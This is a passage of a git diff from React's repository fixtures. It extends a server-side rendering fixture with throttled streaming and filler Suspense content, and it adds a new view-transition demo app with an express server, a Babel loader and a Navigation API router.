   const {pipe, abort} = renderToPipeableStream(<App assets={assets} />, {
     bootstrapScripts: [assets['main.js']],
+    progressiveChunkSize: 1024,
     onShellReady() {
       // If something errored before we started streaming, we set the error code appropriately.
       res.statusCode = didError ? 500 : 200;
       res.setHeader('Content-type', 'text/html');
-      pipe(res);
+      // To test the actual chunks taking time to load over the network, we throttle
+      // the stream a bit.
+      const throttledResponse = new ThrottledWritable(res);
+      pipe(throttledResponse);
     },
     onShellError(x) {
       // Something errored before we could complete the shell so we emit an alternative shell.
diff --git a/fixtures/ssr/src/components/Chrome.js b/fixtures/ssr/src/components/Chrome.js
index 5cf81a877f7e..17e49e534e11 100644
--- a/fixtures/ssr/src/components/Chrome.js
+++ b/fixtures/ssr/src/components/Chrome.js
@@ -4,6 +4,8 @@ import Theme, {ThemeToggleButton} from './Theme';
 
 import './Chrome.css';
 
+import LargeContent from './LargeContent';
+
 export default class Chrome extends Component {
   state = {theme: 'light'};
   render() {
@@ -25,7 +27,6 @@ export default class Chrome extends Component {
           />
           <Suspense fallback="Loading...">
             <Theme.Provider value={this.state.theme}>
-              {this.props.children}
               <div>
                 <ThemeToggleButton
                   onChange={theme => {
@@ -35,8 +36,10 @@ export default class Chrome extends Component {
                   }}
                 />
               </div>
+              {this.props.children}
             </Theme.Provider>
           </Suspense>
+          <LargeContent />
           <script
             dangerouslySetInnerHTML={{
               __html: `assetManifest = ${JSON.stringify(assets)};`,
diff --git a/fixtures/ssr/src/components/LargeContent.js b/fixtures/ssr/src/components/LargeContent.js
new file mode 100644
index 000000000000..3b1fa7ea35b2
--- /dev/null
+++ b/fixtures/ssr/src/components/LargeContent.js
@@ -0,0 +1,291 @@
+import React, {Suspense, unstable_SuspenseList as SuspenseList} from 'react';
+
+export default function LargeContent() {
+  return (
+    <SuspenseList revealOrder="forwards" tail="visible">
+      <Suspense fallback={null}>
+        <p>
+          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris
+          porttitor tortor ac lectus faucibus, eget eleifend elit hendrerit.
+          Integer porttitor nisi in leo congue rutrum. Morbi sed ante posuere,
+          aliquam lorem ac, imperdiet orci. Duis malesuada gravida pharetra.
+          Cras facilisis arcu diam, id dictum lorem imperdiet a. Suspendisse
+          aliquet tempus tortor et ultricies. Aliquam libero velit, posuere
+          tempus ante sed, pellentesque tincidunt lorem. Nullam iaculis, eros a
+          varius aliquet, tortor felis tempor metus, nec cursus felis eros
+          aliquam nulla. Vivamus ut orci sed mauris congue lacinia. Cras eget
+          blandit neque. Pellentesque a massa in turpis ullamcorper volutpat vel
+          at massa. Sed ante est, auctor non diam non, vulputate ultrices metus.
+          Maecenas dictum fermentum quam id aliquam. Donec porta risus vitae
+          pretium posuere. Fusce facilisis eros in lacus tincidunt congue.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Pellentesque habitant morbi tristique senectus et netus et malesuada
+          fames ac turpis egestas. Phasellus dolor ante, iaculis vel nisl vitae,
+          ornare ornare orci. Praesent sit amet lobortis sapien. Suspendisse
+          pharetra posuere libero ut dapibus. Donec condimentum ante urna.
+          Aliquam laoreet tincidunt lacus, sed interdum tortor dapibus
+          elementum. Nam sed faucibus lorem. Suspendisse finibus, velit sed
+          molestie finibus, risus purus mollis ante, sit amet aliquet sapien
+          nulla ut nibh. In eget ligula metus. Duis in purus mattis, blandit
+          magna nec, dictum nunc.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Sed convallis magna id tortor blandit dictum. Suspendisse in porttitor
+          neque. Integer quis metus consequat, rutrum est sit amet, finibus
+          justo. In hac habitasse platea dictumst. Nullam sagittis, risus sed
+          vehicula porta, sapien elit ultrices nibh, vel luctus odio tortor et
+          ante. Sed porta enim in hendrerit tristique. Pellentesque id feugiat
+          libero, sit amet tempor enim. Proin gravida nisl justo, vel ornare
+          dolor bibendum ac. Mauris scelerisque mattis facilisis. Praesent
+          sodales augue mollis orci vulputate aliquet. Mauris molestie luctus
+          neque, sed congue elit congue ut. Cras quis tortor augue. In auctor
+          nulla vel turpis dapibus egestas. Phasellus consequat rhoncus nisi sed
+          dignissim. Quisque varius justo non ex lobortis finibus cursus nec
+          justo. Nulla erat neque, commodo et sem convallis, tristique faucibus
+          odio.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Ut condimentum volutpat sem, id accumsan augue placerat vel. Donec ac
+          efficitur turpis. Suspendisse pretium odio euismod sapien bibendum,
+          sed tempus est condimentum. Etiam nisl magna, consequat at ullamcorper
+          at, sollicitudin eu eros. In mattis ligula arcu. Sed eu consectetur
+          turpis, id molestie ligula. Vestibulum et venenatis enim. Donec
+          condimentum vitae nisi et placerat. Sed fringilla vehicula egestas.
+          Proin consectetur, nibh non ornare scelerisque, diam lorem cursus
+          lectus, ut mattis mauris purus id mi. Curabitur non ligula sit amet
+          augue molestie vulputate. Donec maximus magna at volutpat aliquet.
+          Pellentesque dignissim nulla eget odio eleifend tincidunt. Etiam diam
+          lorem, ornare vel scelerisque vel, iaculis id risus. Donec aliquet
+          aliquam felis, ac vehicula lacus suscipit vitae. Morbi eu ligula elit.
+        </p>
+      </Suspense>
+      <p>This should appear in the first paint.</p>
+      <Suspense fallback={null}>
+        <p>
+          Praesent pellentesque, libero ut faucibus tempor, purus elit consequat
+          metus, in ornare nulla lectus at erat. Duis quis blandit turpis. Fusce
+          at ligula rutrum metus molestie tempor sit amet eu justo. Maecenas
+          tincidunt nisl nunc. Morbi ac metus tempor, pretium arcu vel, dapibus
+          velit. Nulla convallis ligula at porta mollis. Duis magna ante, mollis
+          eget nibh in, congue tempor dolor. Sed tincidunt sagittis arcu, in
+          ultricies neque tempor non. Suspendisse eget nunc neque. Nulla sit
+          amet odio volutpat, maximus purus id, dictum metus. Integer consequat,
+          orci nec ullamcorper porta, mauris libero vestibulum ipsum, nec tempor
+          tellus enim non nunc. Quisque nisl risus, dapibus sit amet purus nec,
+          aliquam finibus metus. Nullam condimentum urna viverra finibus cursus.
+          Proin et sollicitudin tellus, porta fermentum felis. Maecenas ac
+          turpis sed dui condimentum interdum sed sed erat. Mauris ut dignissim
+          erat.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Proin varius porta dui, id fringilla elit lobortis eget. Integer at
+          metus elementum, efficitur eros id, euismod est. Morbi vestibulum nibh
+          ac leo luctus sagittis. Praesent rhoncus, risus sit amet mattis
+          dictum, diam sapien tempor neque, vel dignissim nulla neque eget ex.
+          Nam sollicitudin metus quis ullamcorper dapibus. Nam tristique euismod
+          efficitur. Pellentesque rhoncus vel sem eget lacinia. Pellentesque
+          volutpat velit ac dignissim luctus. Vivamus euismod tortor at ligula
+          mattis porta. Vestibulum ante ipsum primis in faucibus orci luctus et
+          ultrices posuere cubilia curae;
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Proin blandit vulputate efficitur. Pellentesque sit amet porta odio.
+          Nunc pulvinar varius rhoncus. Mauris fermentum leo a imperdiet
+          pretium. Mauris scelerisque justo vel ante egestas, eget tempus neque
+          malesuada. Sed dictum ex vel justo dignissim, aliquam commodo diam
+          rutrum. Integer dignissim est ullamcorper augue laoreet consectetur id
+          at diam. Vivamus molestie blandit urna, eget pulvinar augue dictum
+          vestibulum. Duis maximus bibendum mauris, ut ultricies elit rhoncus
+          eu. Praesent gravida placerat mauris. Praesent tempor ipsum at nibh
+          rhoncus sagittis. Duis non sem turpis. Quisque et metus leo. Sed eu
+          purus lorem. Pellentesque dictum metus sed leo viverra interdum.
+          Maecenas vel tincidunt mi.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Praesent consequat dapibus pellentesque. Fusce at enim id mauris
+          laoreet commodo. Nullam ut mauris euismod, rhoncus tellus vel,
+          facilisis diam. Aenean porta faucibus augue, a iaculis massa iaculis
+          in. Praesent vel metus purus. Etiam quis augue eget orci lobortis
+          eleifend ac ut lorem. Aenean non orci quis nisi molestie maximus.
+          Mauris interdum, eros et aliquam aliquam, lectus diam pharetra velit,
+          in condimentum odio eros non quam. Praesent bibendum pretium turpis
+          vitae tristique. Mauris convallis, massa ut fermentum fermentum,
+          libero orci tempus ipsum, malesuada ultrices metus sapien placerat
+          lectus. Ut fringilla arcu nec lorem ultrices mattis. Etiam id tortor
+          feugiat magna gravida gravida. Morbi aliquam, mi ac pellentesque
+          mattis, erat ex venenatis erat, a vestibulum eros turpis quis metus.
+          Pellentesque tempus justo in ligula ultricies porta. Phasellus congue
+          felis sit amet dolor tristique finibus. Nunc eget eros non est
+          ultricies vestibulum.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Donec efficitur ligula quis odio tincidunt tristique. Duis urna dolor,
+          hendrerit quis enim at, accumsan auctor turpis. Vivamus ante lorem,
+          maximus vitae suscipit ut, congue eget velit. Maecenas sed ligula
+          erat. Aliquam mollis purus at nisi porta suscipit in ut magna. Vivamus
+          a turpis nec tellus egestas suscipit nec ornare nisi. Donec vestibulum
+          libero quis ex suscipit, sit amet luctus leo gravida.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Praesent pharetra dolor elit, sed volutpat lorem rhoncus non. Etiam a
+          neque ut velit dignissim sodales. Vestibulum neque risus, condimentum
+          nec consectetur vitae, ultricies ut sapien. Integer iaculis at urna
+          sit amet malesuada. Integer tincidunt, felis ac vulputate semper,
+          velit leo facilisis lorem, quis aliquet leo dui id lorem. Morbi non
+          quam quis nisl sagittis consequat nec vitae libero. Nunc molestie
+          pretium libero, eu eleifend nibh feugiat sed. Ut in bibendum diam, sit
+          amet vehicula risus. Nam ornare ac nisi ac euismod. Nullam id egestas
+          nulla. Etiam porta commodo ante sit amet pellentesque. Suspendisse
+          eleifend purus in urna euismod auctor non vel nisi. Suspendisse rutrum
+          est nunc, sit amet lacinia lacus dictum eget. Pellentesque habitant
+          morbi tristique senectus et netus et malesuada fames ac turpis
+          egestas. Morbi a blandit diam.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Donec eget efficitur sapien. Suspendisse diam lacus, varius eu
+          interdum et, congue ac justo. Proin ipsum odio, suscipit elementum
+          mauris sed, porttitor congue est. Cras dapibus dictum ante, vitae
+          gravida elit venenatis sed. Sed massa sem, posuere ut enim sit amet,
+          vestibulum condimentum nibh. Pellentesque pulvinar sodales lacinia.
+          Proin id pretium sapien, non convallis nulla. In mollis tincidunt sem
+          et porttitor.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Integer at sollicitudin sem. Suspendisse sed semper orci. Nulla at
+          nibh nec risus suscipit posuere egestas vitae enim. Nullam mauris
+          justo, mattis vel laoreet non, finibus nec nisl. Cras iaculis ultrices
+          nibh, non commodo eros aliquam non. Sed vitae mollis dui, at maximus
+          metus. Ut vestibulum, enim ut lobortis vulputate, lorem urna congue
+          elit, non dictum odio lorem eget velit. Morbi eleifend id ligula vitae
+          vulputate. Suspendisse ac laoreet justo. Proin eu mattis diam.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Nunc in ex quis enim ullamcorper scelerisque eget ac eros. Class
+          aptent taciti sociosqu ad litora torquent per conubia nostra, per
+          inceptos himenaeos. Aliquam turpis dui, egestas a rhoncus non,
+          fermentum in tellus. Vestibulum ante ipsum primis in faucibus orci
+          luctus et ultrices posuere cubilia curae; Aenean non risus arcu. Nam
+          ultricies lacinia volutpat. Class aptent taciti sociosqu ad litora
+          torquent per conubia nostra, per inceptos himenaeos. Lorem ipsum dolor
+          sit amet, consectetur adipiscing elit.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Aliquam a felis leo. Proin lorem ipsum, congue eu cursus in, rhoncus
+          ut libero. Vestibulum sit amet consequat nunc. Ut eleifend lobortis
+          lacus, vel molestie metus viverra eget. Nullam suscipit eu magna
+          scelerisque suscipit. Donec dictum in diam nec lacinia. Mauris
+          pellentesque ex ut purus facilisis, eget placerat turpis semper. Sed
+          dapibus lorem ante, et malesuada dui eleifend ac. Sed diam felis,
+          semper ac nulla vel, posuere ultricies ante.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Nunc elementum odio sapien, sit amet vulputate lorem varius at. Fusce
+          non sapien vitae lorem aliquam pretium sit amet congue dolor. Nunc
+          quis tortor luctus, pretium ex a, tincidunt urna. Aliquam fermentum
+          massa a erat pharetra varius. Curabitur at auctor dui. Sed posuere
+          pellentesque massa, vel bibendum urna dictum non. Fusce eget rhoncus
+          urna. Maecenas sed lectus tellus. Pellentesque convallis dapibus nisl
+          vitae venenatis. Quisque ornare a dolor ac pharetra. Nam cursus, mi a
+          lacinia accumsan, felis erat fringilla magna, ac mattis nunc ante a
+          orci.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Nunc vel tortor euismod, commodo tortor non, aliquam nisi. Maecenas
+          tempus mollis velit non suscipit. Mauris sit amet dolor sed ex
+          fringilla varius. Suspendisse vel cursus risus. Vivamus pharetra massa
+          nec dolor aliquam feugiat. Fusce finibus enim commodo, scelerisque
+          ante eu, laoreet ex. Curabitur placerat magna quis imperdiet lacinia.
+          Etiam lectus mauris, porttitor ac lacinia sed, posuere eget lacus.
+          Mauris vulputate mattis imperdiet. Nunc id aliquet libero, vitae
+          hendrerit purus. Praesent vestibulum urna ac egestas tempor. In
+          molestie, nunc sit amet sagittis dapibus, ligula enim fermentum mi,
+          lacinia molestie eros dui in tortor. Mauris fermentum pulvinar
+          faucibus. Curabitur laoreet eleifend purus, non tincidunt tortor
+          gravida nec. Nam eu lectus congue, commodo libero et, porttitor est.
+          Nullam tincidunt, nisi eu congue congue, magna justo commodo massa,
+          nec efficitur dui lectus non sem.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Nullam vehicula, ipsum quis lacinia tristique, elit nulla dignissim
+          augue, at pulvinar metus justo ac magna. Nullam nec nunc ac sapien
+          mollis cursus eu ac enim. Pellentesque a pharetra erat. Ut tempor
+          magna nisi, accumsan blandit lectus volutpat nec. Vivamus vel lorem
+          nec eros blandit dictum eget ac diam. Nulla nec turpis dolor. Morbi eu
+          euismod libero. Nam ut tortor at arcu porta tincidunt. In gravida
+          ligula fringilla ornare imperdiet. Nulla scelerisque ante erat,
+          efficitur dictum metus ullamcorper vel. Nam ac purus metus. Maecenas
+          eget tempus nulla. Ut magna lorem, efficitur ut ex a, semper aliquam
+          magna. Praesent lobortis, velit ac posuere mattis, justo est accumsan
+          turpis, id sagittis felis mi in lacus.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Aenean est mi, semper nec sem at, malesuada consectetur nunc. Aenean
+          consequat sem quis sem consequat, non aliquam est placerat. Cras
+          malesuada magna neque, et pellentesque nibh consequat at. Sed interdum
+          velit et ex interdum, vel lobortis ante vestibulum. Nam placerat
+          lectus eu commodo efficitur. Pellentesque in nunc ac massa porttitor
+          eleifend ut efficitur sem. Aenean at magna auctor, posuere augue in,
+          ultrices arcu. Praesent dignissim augue ex, malesuada maximus metus
+          interdum a. Proin nec odio in nulla vestibulum.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Aenean est mi, semper nec sem at, malesuada consectetur nunc. Aenean
+          consequat sem quis sem consequat, non aliquam est placerat. Cras
+          malesuada magna neque, et pellentesque nibh consequat at. Sed interdum
+          velit et ex interdum, vel lobortis ante vestibulum. Nam placerat
+          lectus eu commodo efficitur. Pellentesque in nunc ac massa porttitor
+          eleifend ut efficitur sem. Aenean at magna auctor, posuere augue in,
+          ultrices arcu. Praesent dignissim augue ex, malesuada maximus metus
+          interdum a. Proin nec odio in nulla vestibulum.
+        </p>
+      </Suspense>
+      <Suspense fallback={null}>
+        <p>
+          Aenean est mi, semper nec sem at, malesuada consectetur nunc. Aenean
+          consequat sem quis sem consequat, non aliquam est placerat. Cras
+          malesuada magna neque, et pellentesque nibh consequat at. Sed interdum
+          velit et ex interdum, vel lobortis ante vestibulum. Nam placerat
+          lectus eu commodo efficitur. Pellentesque in nunc ac massa porttitor
+          eleifend ut efficitur sem. Aenean at magna auctor, posuere augue in,
+          ultrices arcu. Praesent dignissim augue ex, malesuada maximus metus
+          interdum a. Proin nec odio in nulla vestibulum.
+        </p>
+      </Suspense>
+    </SuspenseList>
+  );
+}
diff --git a/fixtures/ssr/src/components/Page.js b/fixtures/ssr/src/components/Page.js
index d7b4d5c813e9..1a4c6f79a3e7 100644
--- a/fixtures/ssr/src/components/Page.js
+++ b/fixtures/ssr/src/components/Page.js
@@ -11,10 +11,17 @@ const autofocusedInputs = [
 ];
 
 export default class Page extends Component {
-  state = {active: false};
+  state = {active: false, value: ''};
   handleClick = e => {
     this.setState({active: true});
   };
+  handleChange = e => {
+    this.setState({value: e.target.value});
+  };
+  componentDidMount() {
+    // Rerender on mount
+    this.setState({mounted: true});
+  }
   render() {
     const link = (
       <a className="link" onClick={this.handleClick}>
@@ -30,6 +37,10 @@ export default class Page extends Component {
           <p>Autofocus on page load: {autofocusedInputs}</p>
           <p>{!this.state.active ? link : 'Thanks!'}</p>
           {this.state.active && <p>Autofocus on update: {autofocusedInputs}</p>}
+          <p>
+            Controlled input:{' '}
+            <input value={this.state.value} onChange={this.handleChange} />
+          </p>
         </Suspend>
       </div>
     );
diff --git a/fixtures/ssr/src/index.js b/fixtures/ssr/src/index.js
index f6457ce57067..bac5be6ec62e 100644
--- a/fixtures/ssr/src/index.js
+++ b/fixtures/ssr/src/index.js
@@ -1,6 +1,12 @@
 import React from 'react';
+import {Profiler} from 'react';
 import {hydrateRoot} from 'react-dom/client';
 
 import App from './components/App';
 
-hydrateRoot(document, <App assets={window.assetManifest} />);
+hydrateRoot(
+  document,
+  <Profiler id="root">
+    <App assets={window.assetManifest} />
+  </Profiler>
+);
diff --git a/fixtures/view-transition/README.md b/fixtures/view-transition/README.md
new file mode 100644
index 000000000000..7f5642ee9c4c
--- /dev/null
+++ b/fixtures/view-transition/README.md
@@ -0,0 +1,30 @@
+# View Transition
+
+A test case for View Transitions.
+
+## Setup
+
+To reference a local build of React, first run `npm run build` at the root
+of the React project. Then:
+
+```
+cd fixtures/view-transition
+yarn
+yarn start
+```
+
+The `start` command runs a webpack dev server and a server-side rendering server in development mode with hot reloading.
+
+**Note: whenever you make changes to React and rebuild it, you need to re-run `yarn` in this folder:**
+
+```
+yarn
+```
+
+If you want to try the production mode instead run:
+
+```
+yarn start:prod
+```
+
+This will pre-build all static resources and then start a server-side rendering HTTP server that hosts the React app and service the static resources (without hot reloading).
diff --git a/packages/react-server-dom-turbopack/esm/package.json b/fixtures/view-transition/loader/package.json
similarity index 100%
rename from packages/react-server-dom-turbopack/esm/package.json
rename to fixtures/view-transition/loader/package.json
diff --git a/fixtures/view-transition/loader/server.js b/fixtures/view-transition/loader/server.js
new file mode 100644
index 000000000000..f56ac9fd039b
--- /dev/null
+++ b/fixtures/view-transition/loader/server.js
@@ -0,0 +1,54 @@
+import babel from '@babel/core';
+
+const babelOptions = {
+  babelrc: false,
+  ignore: [/\/(build|node_modules)\//],
+  plugins: [
+    '@babel/plugin-syntax-import-meta',
+    '@babel/plugin-transform-react-jsx',
+  ],
+};
+
+export async function load(url, context, defaultLoad) {
+  if (url.endsWith('.css')) {
+    return {source: 'export default {}', format: 'module', shortCircuit: true};
+  }
+  const {format} = context;
+  const result = await defaultLoad(url, context, defaultLoad);
+  if (result.format === 'module') {
+    const opt = Object.assign({filename: url}, babelOptions);
+    const newResult = await babel.transformAsync(result.source, opt);
+    if (!newResult) {
+      if (typeof result.source === 'string') {
+        return result;
+      }
+      return {
+        source: Buffer.from(result.source).toString('utf8'),
+        format: 'module',
+      };
+    }
+    return {source: newResult.code, format: 'module'};
+  }
+  return defaultLoad(url, context, defaultLoad);
+}
+
+async function babelTransformSource(source, context, defaultTransformSource) {
+  const {format} = context;
+  if (format === 'module') {
+    const opt = Object.assign({filename: context.url}, babelOptions);
+    const newResult = await babel.transformAsync(source, opt);
+    if (!newResult) {
+      if (typeof source === 'string') {
+        return {source};
+      }
+      return {
+        source: Buffer.from(source).toString('utf8'),
+      };
+    }
+    return {source: newResult.code};
+  }
+  return defaultTransformSource(source, context, defaultTransformSource);
+}
+
+export const transformSource =
+  process.version < 'v16' ? babelTransformSource : undefined;
diff --git a/fixtures/view-transition/package.json b/fixtures/view-transition/package.json
new file mode 100644
index 000000000000..44a8ff0bfa54
--- /dev/null
+++ b/fixtures/view-transition/package.json
@@ -0,0 +1,49 @@
+{
+  "name": "react-fixtures-view-transition",
+  "version": "0.1.0",
+  "private": true,
+  "devDependencies": {
+    "concurrently": "3.1.0",
+    "http-proxy-middleware": "3.0.3",
+    "react-scripts": "5.0.1",
+    "@babel/plugin-proposal-private-property-in-object": "7.21.11"
+  },
+  "dependencies": {
+    "@babel/register": "^7.25.9",
+    "express": "^4.14.0",
+    "ignore-styles": "^5.0.1",
+    "react": "^19.0.0",
+    "react-dom": "^19.0.0",
+    "animation-timelines": "^0.0.4"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "scripts": {
+    "predev": "cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;",
+    "prestart": "cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;",
+    "prebuild": "cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;",
+    "dev": "concurrently \"npm run dev:server\" \"npm run dev:client\"",
+    "dev:client": "BROWSER=none PORT=3001 react-scripts start",
+    "dev:server": "NODE_ENV=development node --experimental-loader ./loader/server.js server",
+    "start": "react-scripts build && NODE_ENV=production node --experimental-loader ./loader/server.js server",
+    "build": "react-scripts build",
+    "test": "react-scripts test --env=jsdom",
+    "eject": "react-scripts eject"
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
diff --git a/fixtures/view-transition/public/favicon.ico b/fixtures/view-transition/public/favicon.ico
new file mode 100644
index 000000000000..5c125de5d897
Binary files /dev/null and b/fixtures/view-transition/public/favicon.ico differ
diff --git a/fixtures/view-transition/public/index.html b/fixtures/view-transition/public/index.html
new file mode 100644
index 000000000000..a94d9ac64a92
--- /dev/null
+++ b/fixtures/view-transition/public/index.html
@@ -0,0 +1,13 @@
+<!doctype html>
+<html>
+  <body>
+    <script>
+      /*
+      This is just a placeholder to make react-scripts happy.
+      We're not using it. If we end up here, redirect to the
+      primary server.
+      */
+      location.href = '//localhost:3000/';
+    </script>
+  </body>
+</html>
diff --git a/fixtures/view-transition/server/index.js b/fixtures/view-transition/server/index.js
new file mode 100644
index 000000000000..e13d4706b9ef
--- /dev/null
+++ b/fixtures/view-transition/server/index.js
@@ -0,0 +1,73 @@
+require('ignore-styles');
+const babelRegister = require('@babel/register');
+const proxy = require('http-proxy-middleware');
+
+babelRegister({
+  ignore: [/\/(build|node_modules)\//],
+  presets: ['react-app'],
+});
+
+const express = require('express');
+const path = require('path');
+
+const app = express();
+
+// Application
+if (process.env.NODE_ENV === 'development') {
+  app.get('/', function (req, res) {
+    // In development mode we clear the module cache between each request to
+    // get automatic hot reloading.
+    for (var key in require.cache) {
+      delete require.cache[key];
+    }
+    import('./render.js').then(({default: render}) => {
+      render(req.url, res);
+    });
+  });
+} else {
+  import('./render.js').then(({default: render}) => {
+    app.get('/', function (req, res) {
+      render(req.url, res);
+    });
+  });
+}
+
+// Static resources
+app.use(express.static(path.resolve(__dirname, '..', 'build')));
+
+// Proxy everything else to create-react-app's webpack development server
+if (process.env.NODE_ENV === 'development') {
+  app.use(
+    '/',
+    proxy.createProxyMiddleware({
+      ws: true,
+      changeOrigin: true,
+      target: 'http://127.0.0.1:3001',
+    })
+  );
+}
+
+app.listen(3000, () => {
+  console.log('Listening on port 3000...');
+});
+
+app.on('error', function (error) {
+  if (error.syscall !== 'listen') {
+    throw error;
+  }
+
+  var bind = typeof port === 'string' ? 'Pipe ' + port : 'Port ' + port;
+
+  switch (error.code) {
+    case 'EACCES':
+      console.error(bind + ' requires elevated privileges');
+      process.exit(1);
+      break;
+    case 'EADDRINUSE':
+      console.error(bind + ' is already in use');
+      process.exit(1);
+      break;
+    default:
+      throw error;
+  }
+});
diff --git a/fixtures/view-transition/server/render.js b/fixtures/view-transition/server/render.js
new file mode 100644
index 000000000000..08224a57c4da
--- /dev/null
+++ b/fixtures/view-transition/server/render.js
@@ -0,0 +1,47 @@
+import React from 'react';
+import {renderToPipeableStream} from 'react-dom/server';
+
+import App from '../src/components/App.js';
+
+let assets;
+if (process.env.NODE_ENV === 'development') {
+  // Use the bundle from create-react-app's server in development mode.
+  assets = {
+    'main.js': '/static/js/bundle.js',
+    // 'main.css': '',
+  };
+} else {
+  assets = require('../build/asset-manifest.json').files;
+}
+
+export default function render(url, res) {
+  res.socket.on('error', error => {
+    // Log fatal errors
+    console.error('Fatal', error);
+  });
+  let didError = false;
+  const {pipe, abort} = renderToPipeableStream(
+    <App assets={assets} initialURL={url} />,
+    {
+      bootstrapScripts: [assets['main.js']],
+      onShellReady() {
+        // If something errored before we started streaming, we set the error code appropriately.
+        res.statusCode = didError ? 500 : 200;
+        res.setHeader('Content-type', 'text/html');
+        pipe(res);
+      },
+      onShellError(x) {
+        // Something errored before we could complete the shell so we emit an alternative shell.
+        res.statusCode = 500;
+        res.send('<!doctype><p>Error</p>');
+      },
+      onError(x) {
+        didError = true;
+        console.error(x);
+      },
+    }
+  );
+  // Abandon and switch to client rendering after 5 seconds.
+  // Try lowering this to see the client recover.
+  setTimeout(abort, 5000);
+}
diff --git a/fixtures/view-transition/src/components/App.js b/fixtures/view-transition/src/components/App.js
new file mode 100644
index 000000000000..80e0c45c9113
--- /dev/null
+++ b/fixtures/view-transition/src/components/App.js
@@ -0,0 +1,92 @@
+import React, {
+  startTransition,
+  useLayoutEffect,
+  useEffect,
+  useState,
+  addTransitionType,
+} from 'react';
+
+import Chrome from './Chrome.js';
+import Page from './Page.js';
+
+const enableNavigationAPI = typeof navigation === 'object';
+
+export default function App({assets, initialURL}) {
+  const [routerState, setRouterState] = useState({
+    pendingNav: () => {},
+    url: initialURL,
+  });
+  function navigate(url) {
+    if (enableNavigationAPI) {
+      window.navigation.navigate(url);
+    } else {
+      startTransition(() => {
+        setRouterState({
+          url,
+          pendingNav() {
+            window.history.pushState({}, '', url);
+          },
+        });
+      });
+    }
+  }
+  useEffect(() => {
+    if (enableNavigationAPI) {
+      window.navigation.addEventListener('navigate', event => {
+        if (!event.canIntercept) {
+          return;
+        }
+        const navigationType = event.navigationType;
+        const previousIndex = window.navigation.currentEntry.index;
+        const newURL = new URL(event.destination.url);
+        event.intercept({
+          handler() {
+            let promise;
+            startTransition(() => {
+              addTransitionType('navigation-' + navigationType);
+              if (navigationType === 'traverse') {
+                // For traverse types it's useful to distinguish going back or forward.
+                const nextIndex = event.destination.index;
+                if (nextIndex > previousIndex) {
+                  addTransitionType('navigation-forward');
+                } else if (nextIndex < previousIndex) {
+                  addTransitionType('navigation-back');
+                }
+              }
+              promise = new Promise(resolve => {
+                setRouterState({
+                  url: newURL.pathname + newURL.search,
+                  pendingNav: resolve,
+                });
+              });
+            });
+            return promise;
+          },
+          commit: 'after-transition', // plz ship this, browsers
+        });
+      });
+    } else {
+      window.addEventListener('popstate', () => {
+        // This should not animate because restoration has to be synchronous.
+        // Even though it's a transition.
+        startTransition(() => {
+          setRouterState({
+            url: document.location.pathname + document.location.search,
+            pendingNav() {
+              // Noop. URL has already updated.
+            },
+          });
+        });
+      });
+    }
+  }, []);
+  const pendingNav = routerState.pendingNav;
+  useLayoutEffect(() => {
+    pendingNav();
+  }, [pendingNav]);
+  return (
+    <Chrome title="Hello World" assets={assets}>
+      <Page url={routerState.url} navigate={navigate} />
+    </Chrome>
+  );
+}
diff --git a/fixtures/view-transition/src/components/Chrome.css b/fixtures/view-transition/src/components/Chrome.css
new file mode 100644
index 000000000000..969f1e2d3271
--- /dev/null
+++ b/fixtures/view-transition/src/components/Chrome.css
@@ -0,0 +1,16 @@
+html {
+  touch-action: pan-x pan-y;
+}
+
+body {
+  margin: 10px;
+  padding: 0;
+  font-family: sans-serif;
+}
+
+::view-transition-group(*),
+::view-transition-image-pair(*),
+::view-transition-old(*),
+::view-transition-new(*) {
+  pointer-events: none;
+}
diff --git a/fixtures/view-transition/src/components/Chrome.js b/fixtures/view-transition/src/components/Chrome.js
new file mode 100644
index 000000000000..be3f6d1653dd
--- /dev/null
+++ b/fixtures/view-transition/src/components/Chrome.js
@@ -0,0 +1,43 @@
+import React, {Component} from 'react';
+
+import './Chrome.css';
+
+export default class Chrome extends Component {
+  render() {
+    const assets = this.props.assets;
+    return (
+      <html lang="en">
+        <head>
+          <meta charSet="utf-8" />
+          <meta name="viewport" content="width=device-width, initial-scale=1" />
+          <link rel="shortcut icon" href="favicon.ico" />
+          <link rel="stylesheet" href={assets['main.css']} />
+          <link rel="preconnect" href="https://fonts.googleapis.com" />
+          <link
+            rel="preconnect"
+            href="https://fonts.gstatic.com"
+            crossOrigin=""
+          />
+          <link
+            href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap"
+            rel="stylesheet"
+          />
+          <title>{this.props.title}</title>
+        </head>
+        <body>
+          <noscript
+            dangerouslySetInnerHTML={{
+              __html: `<b>Enable JavaScript to run this app.</b>`,
+            }}
+          />
+          {this.props.children}
+          <script
+            dangerouslySetInnerHTML={{
+              __html: `assetManifest = ${JSON.stringify(assets)};`,
+            }}
+          />
+        </body>
+      </html>
+    );
+  }
